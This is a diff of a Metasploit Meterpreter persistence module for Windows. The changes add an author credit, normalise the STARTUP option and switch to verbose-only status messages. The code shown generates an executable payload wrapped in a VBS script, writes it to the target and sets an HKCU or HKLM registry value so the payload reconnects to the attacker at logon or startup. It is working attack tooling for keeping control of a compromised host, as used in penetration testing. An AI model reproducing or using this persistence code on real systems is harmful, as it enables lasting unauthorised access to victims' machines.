@@ -31,51 +31,50 @@ def initialize(info={})
31
31
'License' => MSF_LICENSE ,
32
32
'Author' =>
33
33
[
34
- 'Carlos Perez <carlos_perez[at]darkoperator.com>'
34
+ 'Carlos Perez <carlos_perez[at]darkoperator.com>' ,
35
+ 'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
35
36
] ,
36
37
'Platform' => [ 'win' ] ,
37
38
'SessionTypes' => [ 'meterpreter' ] ,
38
39
'Targets' => [ [ 'Windows' , { } ] ] ,
39
40
'DefaultTarget' => 0 ,
40
41
'DisclosureDate' => "Oct 19 2011" ,
41
- 'DefaultOptions' =>
42
+ 'DefaultOptions' =>
42
43
{
43
44
'DisablePayloadHandler' => 'true' ,
44
45
}
45
46
) )
46
47
47
- register_options (
48
- [
49
- OptInt . new ( 'DELAY' ,
50
- [ true , 'Delay (in seconds) for persistent payload to keep reconnecting back.' , 10 ] ) ,
51
- OptEnum . new ( 'STARTUP' ,
52
- [ true , 'Startup type for the persistent payload.' , 'USER' , [ 'USER' , 'SYSTEM' ] ] ) ,
53
- OptString . new ( 'VBS_NAME' ,
54
- [ false , 'The filename to use for the VBS persistent script on the target host (%RAND% by default).' , nil ] ) ,
55
- OptString . new ( 'EXE_NAME' ,
56
- [ false , 'The filename for the payload to be used on the target host (%RAND%.exe by default).' , nil ] ) ,
57
- OptString . new ( 'REG_NAME' ,
58
- [ false , 'The name to call registry value for persistence on target host (%RAND% by default).' , nil ] ) ,
59
- OptString . new ( 'PATH' ,
60
- [ false , 'Path to write payload (%TEMP% by default).' , nil ] ) ,
61
- ] , self . class )
48
+ register_options ( [
49
+ OptInt . new ( 'DELAY' ,
50
+ [ true , 'Delay (in seconds) for persistent payload to keep reconnecting back.' , 10 ] ) ,
51
+ OptEnum . new ( 'STARTUP' ,
52
+ [ true , 'Startup type for the persistent payload.' , 'USER' , [ 'USER' , 'SYSTEM' ] ] ) ,
53
+ OptString . new ( 'VBS_NAME' ,
54
+ [ false , 'The filename to use for the VBS persistent script on the target host (%RAND% by default).' , nil ] ) ,
55
+ OptString . new ( 'EXE_NAME' ,
56
+ [ false , 'The filename for the payload to be used on the target host (%RAND%.exe by default).' , nil ] ) ,
57
+ OptString . new ( 'REG_NAME' ,
58
+ [ false , 'The name to call registry value for persistence on target host (%RAND% by default).' , nil ] ) ,
59
+ OptString . new ( 'PATH' ,
60
+ [ false , 'Path to write payload (%TEMP% by default).' , nil ] )
61
+ ] , self . class )
62
62
63
63
register_advanced_options ( [
64
64
OptBool . new ( 'HANDLER' ,
65
65
[ false , 'Start an exploit/multi/handler job to receive the connection' , false ] ) ,
66
66
OptBool . new ( 'EXEC_AFTER' ,
67
67
[ false , 'Execute persistent script after installing.' , false ] )
68
- ] , self . class )
68
+ ] , self . class )
69
69
end
70
70
71
71
# Exploit method for when exploit command is issued
72
72
def exploit
73
- print_status ( "Running persistent module against #{ sysinfo [ 'Computer' ] } via session ID: #{ datastore [ 'SESSION' ] } " )
74
-
75
73
# Define default values
76
74
rvbs_name = datastore [ 'VBS_NAME' ] || Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) )
77
75
rexe_name = datastore [ 'EXE_NAME' ] || Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) )
78
76
reg_val = datastore [ 'REG_NAME' ] || Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) )
77
+ startup = datastore [ 'STARTUP' ] . downcase
79
78
delay = datastore [ 'DELAY' ] || 10
80
79
exc_after = datastore [ 'EXEC_AFTER' ] || false
81
80
handler = datastore [ 'HANDLER' ] || false
@@ -87,13 +86,14 @@ def exploit
87
86
# Connect to the session
88
87
begin
89
88
host , port = session . session_host , session . session_port
89
+ print_status ( "Running persistent module against #{ sysinfo [ 'Computer' ] } via session ID: #{ datastore [ 'SESSION' ] } " )
90
90
rescue => e
91
91
print_error ( "Could not connect to session" )
92
92
return nil
93
93
end
94
94
95
95
# Check values
96
- if ( is_system? ) && ( datastore [ 'STARTUP' ] == 'USER ' )
96
+ if ( is_system? ) && ( startup == 'user ' )
97
97
print_warning ( 'Note: Current user is SYSTEM & STARTUP == USER. This user may not login often!' )
98
98
end
99
99
@@ -105,31 +105,30 @@ def exploit
105
105
end
106
106
107
107
# Generate the exe payload
108
- print_status ( "Generating EXE payload (#{ rexe_name } )" ) if datastore [ 'VERBOSE' ]
108
+ vprint_status ( "Generating EXE payload (#{ rexe_name } )" )
109
109
exe = generate_payload_exe
110
110
# Generate the vbs payload
111
- print_status ( "Generating VBS persistent script (#{ rvbs_name } )" ) if datastore [ 'VERBOSE' ]
111
+ vprint_status ( "Generating VBS persistent script (#{ rvbs_name } )" )
112
112
vbsscript = ::Msf ::Util ::EXE . to_exe_vbs ( exe , { :persist => true , :delay => delay , :exe_filename => rexe_name } )
113
113
# Writing the payload to target
114
- print_status ( "Writing payload inside the VBS script on the target" ) if datastore [ 'VERBOSE' ]
114
+ vprint_status ( "Writing payload inside the VBS script on the target" )
115
115
script_on_target = write_script_to_target ( vbsscript , rvbs_name )
116
-
117
116
# Exit the module because we failed to write the file on the target host
118
117
# Feedback has already been given to the user, via the function.
119
118
return unless script_on_target
120
119
121
120
# Initial execution of persistent script
122
- case datastore [ 'STARTUP' ]
123
- when 'USER '
121
+ case startup
122
+ when 'user '
124
123
# If we could not write the entry in the registy we exit the module.
125
124
return unless write_to_reg ( "HKCU" , script_on_target , reg_val )
126
- print_status ( "Payload will execute when USER (#{ session . sys . config . getuid } ) next logs on" ) if datastore [ 'VERBOSE' ]
127
- when 'SYSTEM '
125
+ vprint_status ( "Payload will execute when USER (#{ session . sys . config . getuid } ) next logs on" )
126
+ when 'system '
128
127
# If we could not write the entry in the registy we exit the module.
129
128
return unless write_to_reg ( "HKLM" , script_on_target , reg_val )
130
- print_status ( "Payload will execute at the next SYSTEM startup" ) if datastore [ 'VERBOSE' ]
129
+ vprint_status ( "Payload will execute at the next SYSTEM startup" )
131
130
else
132
- print_error ( "Something went wrong. Invalid STARTUP method: #{ datastore [ 'STARTUP' ] } " )
131
+ print_error ( "Something went wrong. Invalid STARTUP method: #{ startup } " )
133
132
return nil
134
133
end
135
134
@@ -147,7 +146,7 @@ def exploit
147
146
# Create 'clean up' resource file
148
147
clean_rc = log_file ( )
149
148
file_local_write ( clean_rc , @clean_up_rc )
150
- print_status ( "Clean up Meterpreter . RC file: #{ clean_rc } " )
149
+ print_status ( "Clean up Meterpreter RC file: #{ clean_rc } " )
151
150
152
151
report_note ( :host => host ,
153
152
:type => "host.persistance.cleanup" ,
@@ -183,6 +182,7 @@ def write_script_to_target(vbs, name)
183
182
print_good ( "Deleted #{ filepath } " )
184
183
rescue
185
184
print_error ( "Unable to delete file!" )
185
+ return nil
186
186
end
187
187
end
188
188
0 commit comments